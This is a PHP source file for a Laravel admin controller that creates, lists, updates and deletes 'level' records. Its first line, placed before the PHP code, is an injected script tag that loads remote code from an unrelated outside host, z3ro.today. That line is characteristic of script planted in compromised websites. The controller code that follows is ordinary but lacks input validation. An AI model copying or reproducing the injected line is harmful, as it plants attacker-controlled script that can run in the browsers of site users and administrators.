<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\BasicSetup;

use App\Http\Controllers\Controller;
use App\Models\Level;
use Illuminate\Http\Request;

class LevelController extends Controller
{
    public function level()
    {

        $levelName = Level::orderBy('id', 'desc')->get();
        return view('adminsetup.levelentry', compact('levelName'));
    }

    public function addlevel()
    {
        return view('adminsetup.addlevel');
    }

    public function uploadlevel(Request $request)
    {

        $levelName = Level::orderBy('id')->get();

        $data = new Level();

        $data->level = $request->level;

        $data->save();
        return redirect()->route('level', compact('levelName'))->with('message', 'Level Added successfully');
    }

    public function deletelevel($id)
    {
        $levelName = Level::find($id);

        if ($levelName->members->count()) {
            return back()->with('message', 'Level cannot be deleted as it is used by other fields');
        }

        $levelName->delete();
        return redirect()->back()->with('message', 'Level deleted successfully');
    }

    public function updatelevelview($id)
    {
        $levelName = Level::find($id);
        return view('adminsetup.updatelevel', compact('levelName'));
    }

    public function updatelevel(Request $request, $id)
    {
        $levelName = Level::orderBy('id')->get();

        $data = Level::find($id);

        $data->level = $request->level;

        $data->save();

        return redirect()->route('level', compact('levelName'))->with('message', 'Level updated successfully');
    }
}
